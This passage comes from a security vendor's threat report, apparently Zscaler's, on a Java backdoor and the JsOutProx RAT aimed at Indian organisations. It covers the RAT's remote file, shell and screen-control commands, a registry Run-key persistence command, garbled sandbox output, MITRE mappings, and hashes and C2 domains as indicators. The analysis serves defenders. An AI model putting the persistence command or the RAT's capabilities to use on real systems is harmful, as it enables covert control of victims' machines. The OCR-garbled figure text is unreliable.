Filemanager plugin: This plugin is responsible for managing all the file system related actions which can be performed by the attacker remotely.

The plugin supports multiple commands and the summary is in the table below.

Plugin command Purpose

Fm.dv Get list of system drives (including CD drive.)

Fm.get Get list of files and folders in a directory.
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Fm.nd Create a new directory.

Fm.e Execute a command using Runtime.getRuntime().exec()

Fm.es Start a new system shell based on the type of OS.

Fm.cp Copy contents of one file to another.

Fm.chm Change the permissions of a file using chmod command (only for Linux and Mac).

Fm.mv Move a file from one location to another.

Fm.del Delete a file.

Fm.ren Rename a file.

Fm.chmod Similar to chm command.

Fm.down Download a file from the system. Contents of the file are Gzip compressed and Base64 encoded

before downloading.

Fm.up Upload a file to the system. Contents of the file Gzip decompressed and Base64 decoded before dropping on the
file system.

Screen Plugin: This plugin uses the java.Awt.Robot class to perform all the mouse and keyboard simulations on the machine as well as to take
screen captures. The commands for this plugin are detailed in the table below.

Plugin Command Purpose

sc.op Fetch the screen size width and height information.

sc.ck Simulate mouse actions like double click, scroll up and
scroll down.

sc.mv Move the mouse cursor to specified co-ordinates.

sc.cap Take a screen capture.

sc.ky Send keystrokes to the machine.

Persistence: To ensure that this JAR file is executed automatically when the system reboots, a Window run registry key is created as shown below:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jhkgdldsgf /d '\'C:\Program Files\Java\jre1.8.0_131\bin\javaw.exe\' -jar
\'C:\Users\user\AppData\Roaming\jhkgdldsgf.jar\" /f

Cloud Sandbox detection

Figure 20 shows the Zscaler Cloud Sandbox successfully detecting the Java-based backdoor.
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(pzscafer Cloud Sandbox -

SANDBOX DETAIL REPORT ol e bl -
Report ID (MDS5): 0AC306C29FDESET10AESD022D78769F6 Analysis Performed: 27/04/2020 14:03:04 File Type: Java ARchive files analysis
CLASSIFICATION VIRUS AND MALWARE SECURITY BYPASS il
Class Type Threat Score = Sample Sleeps For A Long Time (Installer Files Shows

Th Py .
Malicious 860 F roperty)
86 Executes Massive Amount Of Sleeps In A Loop
Category No known Malware found
Malware & Botnet | 1l III'I\
NETWORKING 3 STEALTH i SPREADING
* Uses Dynamic DNS Services * Creates Autostart Registry Keys To Launch Java
* Detected TCP Or UDP Traffic On Non-standard Ports
Parforms DNS Lookups

No suspicious activity detected
URLs Found In Memory Or Binary Data

INFORMATION LEAKAGE EXPLOITING

KA

: PERSISTENCE b

* Runtime Environment Starts Unknown Processes * Lses Reg.exe To Modify The Windows Registry
* Creates An Autostart Registry Key

o = Creates Temporary Files
No suspicious activity detected

Figure 20: The Zscaler Cloud Sandbox detection for this Java-based backdoor.

Figure 21 shows the Zscaler Cloud Sandbox successfully detecting the HTA-based backdoor which contains the JsOutProx RAT.

@5>zscaler Cloud Sandbox &

SANDBOX DETAIL REPORT ® High Risk  ® Moderate Aisk  * Low Risk a8

Report ID (MD5): 23B32DCE9E3ATC1AF4534FESCF7F461E Analysis Performed: 06/05/2020 11:28:45 File Type: hta
CLASSIFICATION VIRUS AND MALWARE SECURITY BYPASS cu
Class Type Threat Score Checks For Kemel Debuggers

Malicious 1 00 Executes Massive Amount Of Sleeps In A Loop
May Try To Detect The Virtual Machine To Hinder Analysis

Category No known Malware found

Malware & Botnet g

NETWORKING b4 STEALTH b SPREADING
» Uses Dynamic DNS Services Disables Application Error Messages

» Detected TCP Or UDP Traffic On Non-standard Ports
Performs DNS Lookups

: No suspicious activity detected
URLs Found In Memory Or Binary Data

INFORMATION LEAKAGE EXPLOITING PERSISTENCE

xw

= Creates An Autostart Registry Key

Figure 21: The Zscaler Cloud Sandbox detection for the HTA-based backdoor.

Conclusion

This threat actor has a specific interest in organisations located in India and the content of the emails indicates a good knowledge of topics
relevant to each of the targeted organisations. The backdoors used in this attack are uncommon, such as JsOutProx, which has only been
observed in the wild once before in December 2019.

The Zscaler ThreatLabZ team will continue to monitor this campaign, as well as others, to help keep our customers safe.
MITRE ATT&CK TTP Mapping
Tactic Technique

Obfuscation Obfuscated Files or Information - T1027
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Software Packing T1045

Persistence Registry run keys / Startup folder
-T1060
Screen Capture T1113
System Shutdown/Reboot T1529
Mshta T1170
File and Directory Discovery T1083
Uncommonly Used Port T1065
Windows T1047

Management Instrumentation

Indicators of Compromise (10Cs)

Hashes

23b32dce9e3a7c1af4534fe9cf7f461e - HTA file (JSOutProx)
0ac306c29fde5e710ae5d022d78769f6 - Java-based Backdoor
Network indicators

scndppe[.Jddns[.Jnet:9050

backjaadra[.]Jddns[.]net:8999
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